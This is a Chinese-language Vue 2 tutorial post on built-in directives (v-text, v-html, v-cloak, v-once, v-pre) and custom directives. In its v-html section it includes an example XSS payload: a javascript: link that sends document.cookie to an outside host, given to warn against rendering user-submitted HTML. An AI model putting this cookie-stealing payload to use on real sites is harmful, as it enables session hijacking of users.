vue2_11、内置指令、自定义指令
1、内置指令
学过的指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
1.1v-text指令:
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>'
}
})
</script>
1.2v-html指令
请求时服务器返回cookie的流程
只要别的浏览器拿到你这网站返回的cookie,就可以在另外电脑的另外浏览器上直接登录。
1.作用:
向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
<body>
<!-- 准备好一个容器-->
<div id="root">
<div v-html="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip=false;//阻止vue启动时生成生产提示
const vm=new Vue({
el:"#root",
data:function(){
return {
name:"<h3>你好啊</h3>",
str:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>找到好资源了</a>"
}
}
});
</script>
1.3、v-cloak指令
v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
style:
<style>
[v-cloak]{
display:none;
}
</style>
内容:
<!-- 准备好一个容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<!-- 延迟5秒收到vue.js,这个服务器端是自定义的,然后把vue.js放在里面,通过路由接收响应的时间 -->
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
1.4、v-once指令
v-once指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<body>
<!-- 准备好一个容器-->
<div id="root">
<h3 v-once>初始化时n的值是:{{n}}</h3>
<h3>当前n的值是:{{n}}</h3>
<button v-on:click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip=false;//阻止vue启动时生成生产提示
const vm=new Vue({
el:"#root",
data:function(){
return {
n:1,
}
}
});
</script>
1.5、v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<!-- 准备好一个容器-->
<div id="root">
<!-- 下面 三行不会被vue编译-->
<h3 v-pre>初始化时n的值是:{{n}}</h3>
<h3 v-pre>当前n的值是:{{n}}</h3>
<button v-pre v-on:click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip=false;//阻止vue启动时生成生产提示
const vm=new Vue({
el:"#root",
data:function(){
return {
n:1,
}
}
});
2、自定义指令
一、定义语法:
(1).局部指令:
new Vue({
directives:{指令名:配置对象}
});
或:
new Vue({
directives{指令名:回调函数}
})
(2).全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调:
(1).bind:指令与元素成功绑定时调用。
(2).inserted:指令所在元素被插入页面时调用。
(3).update:指令所在模板结构被重新解析时调用。
三、备注:
1.指令定义时不加v-,但使用时要加v-;
2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
<body>
<!-- 准备好一个容器-->
<div id="root">
<!--需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。-->
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<!-- <h2>放大10倍后的n值是:<span v-big-bumber="n"></span></h2> -->
<button v-on:click="n++">点我n+1</button>
<hr>
<br/>
<input type="tel" v-fbind:value="n" >
</div>
<script type="text/javascript">
Vue.config.productionTip=false;//阻止vue启动时生成生产提示
const vm=new Vue({
el:"#root",
data:function(){
return {
n:1,
}
},
directives:{
//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
big:function(element,binding){
// console.dir(element);//真实的dom元素,也就是你定义的指令在的那个元素。
// console.log(binding);//指令的相关信息
//console.log(this);//此处的this是window
element.innerText=binding.value*10;
},
// "big-bumber"(element,binding){
// element.innerText=binding.value*10;
// },
fbind:{
//指令与元素成功绑定时(一上来)调用
bind(element,binding){
element.value=binding.value;
},
//指令所在元素被插入页面时调用
inserted(element,binding){
element.focus();
},
//指令所在模板被重新解析时调用
update(element,binding){
element.value=binding.value;
element.focus();
}
},
}
});
</script>
</body>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通